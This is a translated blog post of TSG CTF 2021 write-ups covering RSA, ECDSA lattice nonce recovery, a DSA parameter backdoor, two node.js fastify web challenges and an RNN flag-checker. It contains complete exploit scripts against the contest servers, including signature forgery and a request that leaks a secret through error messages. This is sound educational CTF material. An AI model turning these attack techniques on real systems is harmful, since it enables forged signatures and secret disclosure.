TSG CTF 2021 WriteUps

發表於 2021-10-03

分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

Participated in TSG CTF 2021 with XxTSJxX, mainly solved crypto challenges, web was too difficult and I only solved one... also solved one reverse challenge.

Scoreboard Screenshot

Crypto

Beginner's Crypto 2021

This challenge was solved by Kuruwa, but I'll still document the solution.

The $n$ of this RSA challenge is normal, and it has an unknown $e$ that satisfies the property that $e, e+2, e+4$ are all prime numbers. Then calculate:

\begin{aligned} e_1 &\equiv e^{65537} &\pmod{\varphi(n)} \\ e_2 &\equiv (e+2)^{65537} &\pmod{\varphi(n)} \\ e_3 &\equiv (e+4)^{65537} &\pmod{\varphi(n)} \end{aligned}

Then encrypt the flag $m$ with $e_1, e_2, e_3$ and the same $n$ to get $c_1, c_2, c_3$ . The $p, q$ are already given.

The difficulty seems to be figuring out $e$ , otherwise having $p, q$ is useless. However, a small program can show that the only possible value for $e$ is $3$ , and you can find a proof online.

Next, you'll find that $e_1, e_2, e_3$ all have common factors with $\varphi(n)$ , so you can't directly calculate $d$ . However, you can use the common modulus attack to solve it, calculating $a, b$ such that $ae_1+be_2=1$ , then $c_1^a c_2^b \equiv m \pmod{n}$ .

This challenge can actually be solved even if only $n$ is given, using the common modulus attack.

from Crypto.Util.number import long_to_bytes

p = 167710954518007348037383082265231465648795974011761905177264545864288011527333715495850532989338171489309608848431113452814709692343039027970312735521415071265608660628968391884287240987858607818275329135585153511665148279408708087727501421558738163577629329044315775019460018956186674179846621352371150072281
q = 130354329753344570838569091064852072757046774566775609047544069941246798511317343102715733555464772099991834579660053860799207243561908291522943696711982657846373844514551117658179060004064010647453939332217996817580433587341521331941287365948919907797478197717562721233289937471168288241937022054501586986443
c1 = 2560344169447809042170685026483682125499025654554670516499742981486615082413150123244985585751880264831112089324011804397189638172356179296987581738515619297036118472798499254785110885662931526277474101787493114656242031264678448394380651657330967744585361662315313462698221954777506355498445242300193032704972074020068699180111637362566860530694807230108024167631423062629721393506643291591971626450262144814424411172618188943774725105690851574922374544865628890948773274109561622040022136970632948166009941425683576381155722191980954262373394704682297682490061906408535261437100820855976015526295573831744458528440
c2 = 9041231631916227099296501948589424780380702196870972231114747229225732542137483840187783630590878594711315671224997985975031038623195921968945234067183003568830416719957054703139219879265482072634572699299971785171441858501409377942183918216246312330291820452436486171483461790388518159980027140392750222843449604265528929311978655519463562520038992870162220913137870017065557254099767583925177889051326144499369420594398043223307161794788085369471538477803421726790780799629276012701406231535048423554314287152404245482928538931953627397633165453319078105028671410039195670727134471011040601278722143504641171853743
c3 = 3193069356811106774640161554961405075257002069448498144279061282023129342916422283816661697787316681475161942522570615456264481238277711114193792510286127129056376618422336477707825009085263623755329815306483253646072909132096678270667136193038337386976289222105363398033633185639402128949635525665502328717781718263894690234837016959581149138917064108193064639981137359869717065147934752707676203651598070046066514316196771853484143158367616177332902152347890310640338106015356361617700741042461419248117687350565094928451141103632305400493998164788411031832078388030194992306440474662871408938796429927990102583837

phi = (p - 1) * (q - 1)


e = 3

e1 = e ^ 0x10001
e2 = (e + 2) ^ 0x10001
g, a, b = xgcd(e1, e2)
Z = Zmod(p * q)
m = Z(c1) ^ a * Z(c2) ^ b
print(long_to_bytes(m))

# https://math.stackexchange.com/questions/1653536/show-that-we-cannot-have-a-prime-triplet-of-the-form-p-p-2-p-4-for
# there is no p > 3 that p, p + 2 p + 4 are primes

Minimalist's Private

This is also an RSA challenge, but it states that there is an $L$ such that $L^2 \leq 10000n$ and $ed \equiv 1 \pmod{L}$ . From these two equations, we can reasonably infer that $L=\lambda(n)=\operatorname{lcm}(p-1,q-1)$ .

Since $L^2 \leq 10000n$ , this means $p-1$ and $q-1$ must have a large common factor, i.e., $r=\gcd(p-1,q-1) \approx \sqrt{n} \approx p, q$ .

So we can write $p=ar+1, q=br+1$ . Since $a,b$ are not large, we can brute force them and solve the quadratic equation $(ar+1)(br+1)-n$ for integer roots.

from sage.all import *
from Crypto.Util.number import *


def solve(a, b, c):
    D = b * b - 4 * a * c
    if is_square(D):
        x1 = (-b + int(sqrt(D))) // (2 * a)
        x2 = (-b - int(sqrt(D))) // (2 * a)
        return x1, x2


n = 1108103848370322618250236235096737547381026108763302516499816051432801216813681568375319595638932562835292256776016949573972732881586209527824393027428125964599378845347154409633878436868422905300799413838645686430352484534761305185938956589612889463246508935994301443576781452904666072122465831585156151
e = 65537
c = 254705401581808316199469430068831357413481187288921393400711004895837418302514065107811330660948313420965140464021505716810909691650540609799307500282957438243553742714371028405100267860418626513481187170770328765524251710154676478766892336610743824131087888798846367363259860051983889314134196889300426

for a in range(1, 1000):
    for b in range(a, 1000):
        r = solve(a * b, a + b, 1 - n)
        if r:
            r = r[0]
            p = a * r + 1
            q = b * r + 1
            assert p * q == n
            phi = (p - 1) * (q - 1)
            d = inverse_mod(e, phi)
            m = power_mod(c, d, n)
            print(long_to_bytes(m))

Baba is Flag

require 'openssl'
require 'digest'

STDOUT.sync = true

class OpenSSL::PKey::EC::Point
  def xy
    n = to_bn(:uncompressed).to_i
    mask = (1 << group.degree) - 1
    return (n >> group.degree) & mask, n & mask
  end
  alias_method :+, :add
  alias_method :*, :mul
end

class ECDSA
  def initialize
    @curve = OpenSSL::PKey::EC::Group.new('secp256k1')
    @G = @curve.generator
    @n = @curve.order.to_i
    @d = OpenSSL::BN.rand(@curve.degree).to_i
    @Q = @G * @d
  end

  def inv(x)
    x.pow(@n - 2, @n)
  end

  def sign(msg)
    z = Digest::SHA256.hexdigest(msg).hex
    k = OpenSSL::BN.rand(@curve.degree / 3).to_s.unpack1('H*').hex
    x, y = (@G * k).xy

    # We all like hacks, ain't we?
    # s = (z + x * @d) * inv(k) % @n
    s = (z + @d) * inv(k) % @n

    return x, s
  end

  def verify(msg, x, s)
    return false if x % @n == 0 || s % @n == 0
    z = Digest::SHA256.hexdigest(msg).hex

    # ditto
    # x2, y2 = (@G * (z * inv(s)) + @Q * (x * inv(s))).xy
    x2, y2 = (@G * (z * inv(s)) + @Q * inv(s)).xy

    return x == x2
  end
end

ecdsa = ECDSA.new

5.times do
  puts <<~EOS
    1. Sign
    2. Find rule
    3. Exit
  EOS

  print 'choice? '

  case gets.chomp
  when '1'
    x, s = ecdsa.sign('Baba')
    puts 'Baba is:'
    puts "x = #{x}"
    puts "s = #{s}"
  when '2'
    print 'Which rule do you want to know? '; msg = gets.chomp
    print 'x? '; x = gets.to_i
    print 's? '; s = gets.to_i

    if ecdsa.verify(msg, x, s)
      if msg == 'Baba'
        puts 'Baba is you'
      elsif msg == 'Flag'
        puts "Flag is #{ENV['FLAG']}"
      else
        puts 'Not Found :('
      end
    else
      puts 'Invalid :('
    end
  else
    exit
  end
end

puts 'You is defeat.'

This challenge is similar to ECDSA, allowing you to sign a fixed message multiple times. When signing, $x=(kG)_x$ is used as $r$ , then $s \equiv k^{-1}(z+d) \pmod{n}$ is calculated, with $(x,s)$ as the signature, where $z$ is the hash.

The verification method is to compare whether $x$ is the same as $(s^{-1}(Q+zG))_x$ , where $Q=dG$ is the public key.

A simple solution is to rewrite it as $s \cdot \operatorname{lift\_x}(x) = Q+zG$ , and notice that when $s=1$ , $x$ can be directly taken as the $x$ coordinate of $Q+zG$ . Since $(x,s)$ are known, $Q$ can be easily calculated:

\begin{aligned} sk &\equiv z+d \pmod{n} \\ skG &= zG + Q \\ Q &= s \cdot \operatorname{lift\_x}(x) - zG \end{aligned}

With Lattice

However, I didn't solve this challenge using this method. Instead, I used a much more complex Lattice Attack, but the advantage is that it can be slightly modified to solve the next challenge Flag is Win.

Notice that $k$ is generated using this Ruby code:

k = OpenSSL::BN.rand(@curve.degree / 3).to_s.unpack1('H*').hex

Here, @curve.degree refers to the bit length of $p$ , so it first generates an 85-bit number, then converts it to a string. The string is then interpreted as a big-endian number to get a $k$ of over 200 bits. This is roughly equivalent to the following Python:

int.from_bytes(str(secrets.randbits(256 // 3)).encode(), 'big')

Although this clearly indicates that the solution involves Lattice, the handling still leaves $k$ with over 200 bits, and it only allows you to sign up to 4 signatures. The key point is that the 85 bits of unknown value do not increase the number of unknown bits due to this method.

Since ASCII characters 0 to 9 are 0011xxxx, we can notice that the binary representation of $k$ is of this form:

0011xxxx0011xxxx0011xxxx0011xxxx0011xxxx0011xxxx......0011xxxx

So $k$ can be expressed as:

k = a + \sum_{i=0}^{25} 256^i b_i

Next, $s_1 \cdot k_1 \equiv z + d \equiv s_2 \cdot k_2 \pmod{n}$ , so $f = s_1 \cdot k_1 - s_2 \cdot k_2 \pmod{n}$ has sufficiently small roots that are combinations of $b_i$ of $k_1$ and $k_2$ , where $0 \leq b_i \leq 9$ .

I referred to this post for the Lattice construction method to find those roots.

Since $f=c_0+c_1 b_{1,0}+c_2 b_{1,1}+\cdots+c_{52}b_{2,25}$ , we have:

B= \begin{bmatrix} c_1 & 1 & \\ c_2 & & 1\\ \vdots & & & \ddots \\ c_{52} & & & & 1\\ c_0 & & & & & 1 \\ n & 0 & & \cdots & & 0 \end{bmatrix}

Among them, there will be $v=(0,b_{1,0},b_{1,1},\cdots,b_{2,25})$ , so LLL should be able to find it.

However, after testing, it still couldn't find the $v$ we wanted, so some improvements were needed. Since $0 \leq b_i \leq 9$ , setting $b_i'=b_i-5$ makes it easier to find the roots of the shifted polynomial $f'$ .

Using the shifted $f'$ with LLL, there is a certain probability of correctly finding the roots, which is enough to recover the required $k_1, k_2$ and then calculate $d$ .

from pwn import process, remote, context
from hashlib import sha256
from sage.matrix.matrix2 import Matrix


def resultant(f1, f2, var):
    return Matrix.determinant(f1.sylvester_matrix(f2, var))


p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
a = 0
b = 7
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

E = EllipticCurve(GF(p), [a, b])
G = E(
    0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798,
    0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8,
)

# context.log_level = "debug"
# io = process(["ruby", "baba_is_flag.rb"], env={"FLAG": "test_flag"})
io = remote("34.146.212.53", 65434)


def sign():
    io.sendlineafter(b"choice? ", b"1")
    if io.recvuntil(b"k0 = ", timeout=1):
        kk = int(io.recvlineS().strip())
    if io.recvuntil(b"k = ", timeout=1):
        k = int(io.recvlineS().strip())
    io.recvuntil(b"x = ")
    r = int(io.recvlineS().strip())
    io.recvuntil(b"s = ")
    s = int(io.recvlineS().strip())
    h = int(sha256(b"baba").hexdigest(), 16)
    return h, r, s
    # return h, r, s, k, kk


# h1, r1, s1, k1, kk1 = sign()
# h2, r2, s2, k2, kk2 = sign()
h1, r1, s1 = sign()
h2, r2, s2 = sign()
a = int("00110000" * 26, 2)

# print(f"{k1 = }")
# print(f"{k2 = }")
# print(f"{kk1 = }")
# print(f"{kk2 = }")


# def chunks(kk):
#     return list(map(int, str(kk)[::-1]))
#     ar = list(map(int, str(kk)))
#     ret = []
#     for a, b in list(zip(*[iter(ar)] * 2))[::-1]:
#         ret.append(a * 256 + b)
#     return ret


# kk1v = chunks(kk1)
# kk2v = chunks(kk2)

P = PolynomialRing(Zmod(n), [f"b{j+1}_{i}" for j in range(2) for i in range(26)])
b1 = P.gens()[:26]
b2 = P.gens()[26:]
k1 = a + sum(b * 256 ** i for i, b in enumerate(b1))
k2 = a + sum(b * 256 ** i for i, b in enumerate(b2))
f = s1 * k1 - s2 * k2
# print(f(kk1v + kk2v))
# since roots are in 0~9, shifting it make it more easier to find the roots
ff = f.subs({b: b + 5 for b in b1 + b2})
# print(ff(*[x - 5 for x in kk1v + kk2v]))
M = matrix.column(ZZ, vector([ZZ(c) for c, _ in ff]))
M = M.augment(matrix.identity(53))
M = M.stack(vector([n] + [0] * 53))
M = M.dense_matrix()
row0 = M.LLL()[0]
roots = [x + 5 for x in row0[1:-1]]
assert f(*roots) == 0  # try again if failed
k1 = k1(roots)
k2 = k2(roots)
print(f"found {k1 = }")
print(f"found {k2 = }")
z = int(sha256(b"Baba").hexdigest(), 16)
d = ZZ((s1 * k1 - z) % n)
assert d == (s2 * k2 - z) % n

# signing
z = int(sha256(b"Flag").hexdigest(), 16)
k = 48763
s = ((z + d) / k) % n
x = (k * G).xy()[0]
io.sendlineafter(b"choice? ", b"2")
io.sendlineafter(b"Which rule do you want to know? ", b"Flag")
io.sendlineafter(b"x? ", str(x).encode())
io.sendlineafter(b"s? ", str(s).encode())
io.interactive()

The k and kk in sign are for local debugging, modifying the Ruby side to print the original kk and unpacked k for easier debugging.

Flag is Win

require 'openssl'
require 'digest'

STDOUT.sync = true

class OpenSSL::PKey::EC::Point
  def xy
    n = to_bn(:uncompressed).to_i
    mask = (1 << group.degree) - 1
    return (n >> group.degree) & mask, n & mask
  end
  alias_method :+, :add
  alias_method :*, :mul
end

class ECDSA
  def initialize
    @curve = OpenSSL::PKey::EC::Group.new('secp256k1')
    @G = @curve.generator
    @n = @curve.order.to_i
    @d = OpenSSL::BN.rand(@curve.degree).to_i
    @Q = @G * @d
  end

  def inv(x)
    x.pow(@n - 2, @n)
  end

  def sign(msg)
    z = Digest::SHA256.hexdigest(msg).hex
    k0 = OpenSSL::BN.rand(@curve.degree / 3)
    # k = OpenSSL::BN.rand(@curve.degree / 3).to_s.unpack1('H*').hex
    k = k0.to_s.unpack1('H*').hex
    puts "k0 = #{k0}"
    puts "k = #{k}"
    x, y = (@G * k).xy

    # We should discourage every evil hacks
    s = (z + x * @d) * inv(k) % @n

    return x, s
  end

  def verify(msg, x, s)
    return false if x % @n == 0 || s % @n == 0
    z = Digest::SHA256.hexdigest(msg).hex

    # ditto
    x2, y2 = (@G * (z * inv(s)) + @Q * (x * inv(s))).xy

    return x == x2
  end
end

ecdsa = ECDSA.new

5.times do
  puts <<~EOS
    1. Sign
    2. Find rule
    3. Exit
  EOS

  print 'choice? '

  case gets.chomp
  when '1'
    x, s = ecdsa.sign('Baba')
    puts 'Baba is:'
    puts "x = #{x}"
    puts "s = #{s}"
  when '2'
    print 'Which rule do you want to know? '; msg = gets.chomp
    print 'x? '; x = gets.to_i
    print 's? '; s = gets.to_i

    if ecdsa.verify(msg, x, s)
      if msg == 'Baba'
        puts 'Baba is you'
      elsif msg == 'Flag'
        puts "Flag is #{ENV['FLAG']}"
      else
        puts 'Not Found :('
      end
    else
      puts 'Invalid :('
    end
  else
    exit
  end
end

puts 'You is defeat.'

This challenge is a real ECDSA, and the nonce $k$ is generated in the same way as the previous challenge.

First, we have:

\begin{aligned} s_1 k_1 &\equiv z_1 + r_1 d \pmod{n} \\ s_2 k_2 &\equiv z_2 + r_2 d \pmod{n} \end{aligned}

Manually or using resultant, we can eliminate $d$ to get a polynomial $f(k_1,k_2)$ , then express $k$ in terms of $b_i$ , apply the same Lattice method, and there is a certain probability of finding the roots, then recover $k$ and $d$ .

from pwn import process, remote, context
from hashlib import sha256
from sage.matrix.matrix2 import Matrix


def resultant(f1, f2, var):
    return Matrix.determinant(f1.sylvester_matrix(f2, var))


p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
a = 0
b = 7
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

E = EllipticCurve(GF(p), [a, b])
G = E(
    0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798,
    0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8,
)

# context.log_level = "debug"
# io = process(["ruby", "flag_is_win.rb"], env={"FLAG": "test_flag"})
io = remote("34.146.212.53", 35719)


def sign():
    io.sendlineafter(b"choice? ", b"1")
    if io.recvuntil(b"k0 = ", timeout=1):
        kk = int(io.recvlineS().strip())
    if io.recvuntil(b"k = ", timeout=1):
        k = int(io.recvlineS().strip())
    io.recvuntil(b"x = ")
    r = int(io.recvlineS().strip())
    io.recvuntil(b"s = ")
    s = int(io.recvlineS().strip())
    h = int(sha256(b"baba").hexdigest(), 16)
    return h, r, s
    # return h, r, s, k, kk


# h1, r1, s1, k1, kk1 = sign()
# h2, r2, s2, k2, kk2 = sign()
h1, r1, s1 = sign()
h2, r2, s2 = sign()
a = int("00110000" * 26, 2)
z = int(sha256(b"Baba").hexdigest(), 16)

# print(f"{k1 = }")
# print(f"{k2 = }")
# print(f"{kk1 = }")
# print(f"{kk2 = }")


# def chunks(kk):
#     return list(map(int, str(kk)[::-1]))


# kk1v = chunks(kk1)
# kk2v = chunks(kk2)

P = PolynomialRing(
    Zmod(n), [f"b{j+1}_{i}" for j in range(2) for i in range(26)] + ["d"]
)
b1 = P.gens()[:26]
b2 = P.gens()[26:-1]
d = P.gens()[-1]
k1 = a + sum(b * 256 ** i for i, b in enumerate(b1))
k2 = a + sum(b * 256 ** i for i, b in enumerate(b2))
f1 = s1 * k1 - (z + r1 * d)
f2 = s2 * k2 - (z + r2 * d)

PP = P.remove_var(d)
b1 = PP.gens()[:26]
b2 = PP.gens()[26:]
f = PP(str(resultant(f1, f2, d)))
# print(f(kk1v + kk2v))
# since roots are in 0~9, shifting it make it more easier to find the roots
ff = f.subs({b: b + 5 for b in b1 + b2})
# print(ff(*[x - 5 for x in kk1v + kk2v]))

M = matrix.column(ZZ, vector([ZZ(c) for c, _ in ff]))
M = M.augment(matrix.identity(53))
M = M.stack(vector([n] + [0] * 53))
M = M.dense_matrix()
row0 = M.LLL()[0]
roots = [x + 5 for x in row0[1:-1]]
assert f(*roots) == 0  # try again if failed
k1 = PP(str(k1))(roots)
k2 = PP(str(k2))(roots)
print(f"found {k1 = }")
print(f"found {k2 = }")
d = ZZ(((s1 * k1 - z) / r1) % n)
assert d == ((s2 * k2 - z) / r2) % n

# signing
z = int(sha256(b"Flag").hexdigest(), 16)
k = 48763
r = ZZ((k * G).xy()[0])
s = ((z + r * d) / k) % n
io.sendlineafter(b"choice? ", b"2")
io.sendlineafter(b"Which rule do you want to know? ", b"Flag")
io.sendlineafter(b"x? ", str(r).encode())
io.sendlineafter(b"s? ", str(s).encode())
io.interactive()

This is DSA

# See also https://github.com/tsg-ut/pycryptodome
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
from Crypto.Util.number import getPrime
from Crypto.Random.random import randrange
from base64 import b64decode
from signal import alarm
import os

alarm(15)

q = getPrime(256)
print(f'q = {q}')

p = int(input('p? '))
h = int(input('h? '))

g = pow(h, (p - 1) // q, p)
x = randrange(q)
y = pow(g, x, p)

print(f'g = {g}')
print(f'y = {y}')

dsa = DSA.construct((y, g, p, q, x))
dss = DSS.new(dsa, 'fips-186-3')

print('Thank you for helping me with DSA! Now give me the base64-encoded signature of sha256("flag")')
sign = b64decode(input('sign? '))

dss.verify(SHA256.new(b'flag'), sign)
print(f"Awesome! {os.environ.get('FLAG')}")

In addition to the challenge file, this challenge also modifies the DSA part of pycryptodome:

    if consistency_check:
        # P and Q must be prime
        fmt_error = test_probable_prime(key.p) == COMPOSITE
        fmt_error = test_probable_prime(key.q) == COMPOSITE
        # Verify Lagrange's theorem for sub-group
        fmt_error |= ((key.p - 1) % key.q) != 0  # Removed
        fmt_error |= key.g <= 1 or key.g >= key.p
        fmt_error |= pow(key.g, key.q, key.p) != 1
        # Public key
        fmt_error |= key.y <= 0 or key.y >= key.p

The challenge generates a $q$ , then you can generate a DSA $p$ and $h$ . After the server gives you the public key, you need to find the discrete log and sign a specified message to get the flag.

The removed check is $q|(p-1)$ , but it still has $g^q \equiv 1 \pmod{p}$ . Since $p$ is prime, according to Lagrange's theorem, $q|(p-1)$ is inevitable, so removing that check doesn't seem to matter...?

The key is in these two lines:

fmt_error = test_probable_prime(key.p) == COMPOSITE
fmt_error = test_probable_prime(key.q) == COMPOSITE

It directly overrides the primality check of $p$ with the primality of $q$ , so $p$ can be composite.

A simple idea is to take $p=q^2$ and use a method similar to the Paillier cryptosystem to use binomial expansion for the discrete log, and also take $g=r^{q-1}$ to get a $g$ that satisfies $g^q \equiv 1 \pmod{p}$ .

$r$ is a random number

However, testing shows that there is an error in DSS.new(dsa, 'fips-186-3'), which requires the bit sizes of $p$ and $q$ to be (2048, 256). So $p=q^2$ won't work.

My approach is to take $p=2^k q^2$ , and $\varphi(p)=2^{k-1} q(q-1)$ . Then take $g=r^{\varphi(p)/q}=r^{2^{k-1}(q-1)}$ to pass the prime subgroup test. When calculating $y \equiv g^x \pmod{p}$ , just convert it to $y \equiv g^x \pmod{q^2}$ and continue using the Paillier method.

from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
from base64 import b64encode
from pwn import process, remote


def backdoor(q):
    def getP(bits):
        p = q * q
        phi = q * (q - 1)
        while p.bit_length() != bits:
            p *= 2
            phi *= 2
        return p, phi // 2

    p, phip = getP(2048)
    assert pow(3, phip + 1, p) == 3
    g = pow(3, phip // q, p)
    assert pow(g, q, p) == 1
    h = g
    assert pow(pow(h, (p - 1) // q, p), q, p) == 1
    return p, phip, h


# io = process(["python", "server.py"], env={"FLAG": "test_flag"})
io = remote("34.146.212.53", 61234)
io.recvuntil(b"q = ")
q = int(io.recvlineS().strip())

print(f"{q = }")

p, phip, h = backdoor(q)
print(f"{p = }")
print(f"{h = }")
io.sendlineafter(b"p? ", str(p).encode())
io.sendlineafter(b"h? ", str(h).encode())

io.recvuntil(b"g = ")
g = int(io.recvlineS().strip())
io.recvuntil(b"y = ")
y = int(io.recvlineS().strip())

print(f"{g = }")
print(f"{y = }")

a = (g - 1) // q
b = (y - 1) // q
x = (pow(a, -1, q) * b) % (q * q)
assert pow(g, x, p) == y
dsa = DSA.construct((y, g, p, q, x), consistency_check=False)
dss = DSS.new(dsa, "fips-186-3")
sig = dss.sign(SHA256.new(b"flag"))
io.sendlineafter(b"sign? ", b64encode(sig))
print(io.recvlineS().strip())

To supplement the derivation of the discrete log part:

g=r^{2^{k-1}(q-1)} \rightarrow g \equiv 1 \pmod{q} \rightarrow y \equiv g^x \equiv 1 \pmod{q}

So $g=aq+1, y=bq+1$ , and using the binomial theorem in the case of $q^2$ :

y \equiv g^x \equiv (aq+1)^x \equiv axq+1 \equiv bq+1 \pmod{q^2}

ax \equiv b \pmod{q^2} \rightarrow x \equiv a^{-1}b \pmod{q^2}

Since the original $x \in [1, q)$ , this indeed gives us the $x$ we want.

Actually, taking $p=q^8$ should also work. I didn't do this because $q^8$ might not be exactly 2048 bits. Here are two writeups that use $q^8$ for reference: rkm0959 joseph

Web

Welcome to TSG CTF!

This challenge is a server written in node.js fastify, the main part is as follows:

const {promises: fs} = require('fs');
const fastify = require('fastify');

const flag = process.env.FLAG || 'DUMMY{DUMMY}';

const app = fastify();
app.get('/', async (_, res) => {
	res.type('text/html').send(await fs.readFile('index.html'));
});
app.post('/', (req, res) => {
	if (typeof req.body === 'object' && req.body[flag] === true) {
		return res.send(`Nice! flag is ${flag}`);
	}
	return res.send(`You failed...`);
});

app.listen(34705, '0.0.0.0');

The goal is to post an appropriate body, and then read req.body[flag] === true to get the flag, but this seems impossible under normal circumstances.

The key is that in JavaScript, null is actually an object (typeof null === 'object'), and fastify will by default output error messages when it encounters errors. So when trying to read a property from null, the property name will appear in the error message, revealing the flag.

curl 'http://34.84.69.72:34705/' -H 'Content-Type: application/json' --data 'null'

Beginner's Web 2021

I couldn't solve this challenge during the competition, but after seeing the solution, I found it worth documenting.

Although this challenge is labeled Beginner, only one team solved it in the end...

const {promises: fs} = require('fs');
const crypto = require('crypto');
const fastify = require('fastify');

const app = fastify();
app.register(require('fastify-cookie'));
app.register(require('fastify-session'), {
	secret: Math.random().toString(2),
	cookie: {secure: false},
});

const sessions = new Map();

const setRoutes = async (session, salt) => {
	const index = await fs.readFile('index.html');

	session.routes = {
		flag: () => '*** CENSORED ***',
		index: () => index.toString(),
		scrypt: (input) => crypto.scryptSync(input, salt, 64).toString('hex'),
		base64: (input) => Buffer.from(input).toString('base64'),
		set_salt: async (salt) => {
			session.routes = await setRoutes(session, salt);
			session.salt = salt;
			return 'ok';
		},
		[salt]: () => salt,
	};

	return session.routes;
};

app.get('/', async (request, reply) => {
	if (!sessions.has(request.session.sessionId)) {
		sessions.set(request.session.sessionId, {});
	}

	const session = sessions.get(request.session.sessionId);

	if (!session.salt) {
		session.salt = '';
	}
	if (!session.routes) {
		await setRoutes(session, '');
	}

	const {action, data} = request.query || {};

	let route;
	switch (action) {
		case 'Scrypt': route = 'scrypt'; break;
		case 'Base64': route = 'base64'; break;
		case 'SetSalt': route = 'set_salt'; break;
		case 'GetSalt': route = session.salt; break;
		default: route = 'index'; break;
	}

	reply.type('text/html')
	return session.routes[route](data);
});

app.listen(59101, '0.0.0.0');

It is a node.js fastify server that can call some functions in session.routes based on the action and data parameters. The goal is to call flag.

The first idea is to use set_salt("flag") to set salt to flag, then calling GetSalt should call session.routes["flag"]. Although it does call flag, the result is not as expected because in the setRoutes function, there is [salt]: () => salt, so when salt === "flag", it overwrites the original flag function.

One possible direction is a race condition: first set_salt("flag"), then call GetSalt while calling set_salt("peko"). If during the execution of case 'GetSalt': route = session.salt; break; to return session.routes[route](data);, the original flag function can be restored, the flag can be obtained.

Adding an await sleep(1000) in between, this race condition can indeed be exploited. However, in the original challenge, this is not feasible. At least, based on my understanding of node.js, during that execution, node.js's event loop will not context switch to other places, and for a single-threaded server, it must wait for that execution to complete before handling other requests.

The official solution can be roughly expressed as follows:

await set_salt("flag")
set_salt("then")  // don't wait, it will block
await sleep(100)  // not needed, just don't make it too fast when testing locally
await get_salt()  // this prints the flag

The first set_salt("flag") is easy to understand, but the key is set_salt("then"). To understand why this works, let's review what async/await in JavaScript actually does.

In the node repl, you will see this phenomenon:

> let ccb;let o={then:cb=>{ccb=cb;console.log('then called')}}
undefined
> setTimeout(()=>ccb(87),1000);await o
then called
87

This is because when you await an object, if obj.then is a function, it will try to call obj.then(cb) and block there. When cb is called, the parameter passed to it is the return value of await obj.

When you return an object from an async function, return obj is similar to return await obj, so if the returned object has a then function, it will be called:

> let ccb;let o={then:cb=>{ccb=cb;console.log('then called')}}
undefined
> setTimeout(()=>ccb(87),1000);(async ()=>o)().then(console.log)
Promise {
  <pending>,
  [Symbol(async_id_symbol)]: 120,
  [Symbol(trigger_async_id_symbol)]: 119,
  [Symbol(destroyed)]: { destroyed: false }
}
> then called
87

Now, looking back at set_salt("then"), it calls await setRoutes(session, salt), and after overwriting session.routes with this method, it returns:

session.routes = {
	flag: () => '*** CENSORED ***',
	index: () => index.toString(),
	scrypt: (input) => crypto.scryptSync(input, salt, 64).toString('hex'),
	base64: (input) => Buffer.from(input).toString('base64'),
	set_salt: async (salt) => {
		session.routes = await setRoutes(session, salt);
		session.salt = salt;
		return 'ok';
	},
	[salt]: () => salt,  // salt === 'then'
};

return session.routes;

Notice? The returned session.routes has a then function, and since setRoutes itself is async, it will call (() => salt)(cb). But this cb will never be called, meaning await will be stuck there.

At this point, the original session.salt = salt; is stuck and won't be changed back, but session.routes.flag has been restored to the original function, so calling GetSalt now will get the flag. The sleep is actually unnecessary, just to prevent issues when testing locally if it's too fast.

const xf = require('xfetch-js')

let client = xf.extend({
	// baseURI: 'http://localhost:59101/'
	baseURI: 'http://34.84.69.72:59101/'
})
;(async () => {
	const sc = (await client.get('/')).headers.get('set-cookie')
	const sessionId = sc.split('=')[1].split(';')[0]
	client = client.extend({
		headers: {
			Cookie: `sessionId=${sessionId}`
		}
	})
	await client.get('/', {
		qs: {
			action: 'SetSalt',
			data: 'flag'
		}
	})
	client.get('/', {
		qs: {
			action: 'SetSalt',
			data: 'then'
		}
	}) // this one will stuck
	await new Promise(res => setTimeout(res, 100)) // not needed, just don't make it too fast when testing locally
	console.log(
		await client
			.get('/', {
				qs: {
					action: 'GetSalt'
				}
			})
			.text()
	)
	process.exit(0)
})()

// TSGCTF{You_pR0ved_tHaT_you_knOW_tHe_6451C5_of_JavAsCriP7!_G0_4Nd_s0LvE_Mor3_wE6!}

Reverse

Natural Flag Processing

import string

import torch
from torch import nn

FLAG_CHARS = string.ascii_letters + string.digits + "{}-"
CHARS = "^$" + FLAG_CHARS
def sanity_check(text):
    global FLAG_CHARS
    assert text[:7] == "TSGCTF{"
    assert text[-1:] == "}"
    assert all([t in FLAG_CHARS for t in text])

def embedding(text):
    global CHARS
    x = torch.zeros((len(text), len(CHARS)))
    for i, t in enumerate(text):
        x[i, CHARS.index(t)] = 1.0
    return x

class Model(nn.Module):
    def __init__(self, inpt, hidden):
        super().__init__()
        self.cell = nn.RNNCell(inpt, hidden)
        self.out = nn.Linear(hidden, 1)
    def forward(self, xs):
        h = None
        for x in xs:
            h = self.cell(x, h)
        return self.out(h)

def inference(model, text):
    model.eval()
    with torch.no_grad():
        x = embedding("^"+text+"$").unsqueeze(1)
        y = model(x)[0].sigmoid().cpu().item()
    return y

model = Model(len(CHARS), 520)
model.load_state_dict(torch.load("model_final.pth"))
text = input("input flag:")
sanity_check(text)
if inference(model, text) > 0.5:
    print("Congrats!")
else:
    print("Wrong.")

This challenge is a special flag checker, where the checker itself is a pytorch model. It encodes the input to an embedding, then feeds it into an RNN model, and the final output is flattened and passed through a sigmoid. If the value exceeds 0.5, it is correct.

Initially, I tried using online methods to train and find the model's maximum value, but testing showed it only outputs sigmoid(-1) ~= 0.2689, and the loss never decreases.

